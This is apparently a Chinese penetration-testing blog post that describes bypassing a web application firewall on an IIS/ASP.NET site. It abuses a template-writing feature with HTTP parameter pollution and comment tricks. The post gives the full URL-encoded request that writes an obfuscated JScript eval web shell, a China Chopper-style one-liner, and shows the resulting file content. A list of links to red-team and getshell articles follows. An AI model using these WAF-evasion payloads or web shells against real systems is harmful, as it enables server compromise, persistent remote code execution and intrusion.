環境介紹
Server: Microsoft-IIS/10.0X-AspNet-Version: 4.0.waf:某不知名waf
漏洞點情況
新建模板處,可以直接寫入內容到文件:
但是一寫入正常的aspx語句就被攔截,連簡單的輸出語句都不行:
bypass過程
一開始也試過諸多繞過方法,包括各種常見編碼、chunked編碼等等,都不太行。然後嘗試了一下,看有沒有http參數污染(兩個code參數):
訪問下生成的aspx文件:
可以看到確實是可以的,但是中間有個逗號,我們該怎麼利用來寫入aspx文件呢?比如一個最簡單的輸出hello world:
<%@Page Language="C#"%> <% Response.Write("hello,world"); %>
之前我們通過測試知道<% Response.Write("hello,world"); %>這個會被waf攔截,刪掉<%之後呢?
可以看到成功上傳,那麼思路就來了,將<%%>拆分就行,但是怎麼讓服務器忽略掉那個逗號呢?自然是使用注釋。aspx是支持 「//」的注釋方式的,然後我們需要使用換行,把我們的內容換到下一行避免被注釋,於是:
看看生成的文件:
然後我們試着拆分前面被攔截的那個輸出hello world的語句:
code=<%@Page Language="C#"%><% //&code=%0aResponse.Write("hello,world"); %>
成功生成:
Getshell
經過了好一番嘗試,發現waf還過濾了Request等關鍵詞,eval()可以上傳,但是括號裡面有內容比如eval(xxx)就不行。參考了這篇文章里的注釋符號:https://www.cnblogs.com/xiaozi/p/7566795.html將 eval(a)拆分為
eval/*-/*-*/(a/*,*/)
Request就直接用加號進行連接,比如:"Req"+"uest"
最終結合hpp來利用,上傳菜刀一句話的payload為:
code=<%@ Page Language = Jscript %><% //&code=%0avar+a%3d"ev"%2b"al"%2b"(Reque"%2b"st.Item[\"c"%2b"o\"],"%2b"\"uns"%2b"afe\")%3b"%3b eval/*-/*-*/(a/*&code=*/);%>
這個生成的文件內容應該是:
<%@ Page Language = Jscript %><%//,
var a="ev"+"al"+"(Reque"+"st.Item["c"+"o"],"+""uns"+"afe");"; eval/-/-/(a/,*/);%>
上傳:
成功拿到一個菜刀shell,當然,菜刀因為waf的原因不能用:
eval都行了,還怕拿不到shell?
加個好友
歡迎在看丨留言丨分享至朋友圈三連
好文推薦
2022HW必備|最全應急響應思維導圖
實戰|記一次hvv打點經歷
流量分析與日誌溯源實戰技巧
一款適用於紅隊成員/滲透測試團隊資產收集工具
乾貨|後滲透及內網初體驗的總結
發現內網存活主機的各種姿勢
實戰|某次攻防演練中的分析溯源
實戰|後台getshell+提權一把梭
紅隊快速打點工具
實戰|記一次艱難的外網打點
實戰|記一次文件上傳繞過
常見漏洞安全攻防知識庫
紅隊信息搜集工具(附下載地址)
實戰—某醫院管理系統Getshell
CobaltStrike上線Linux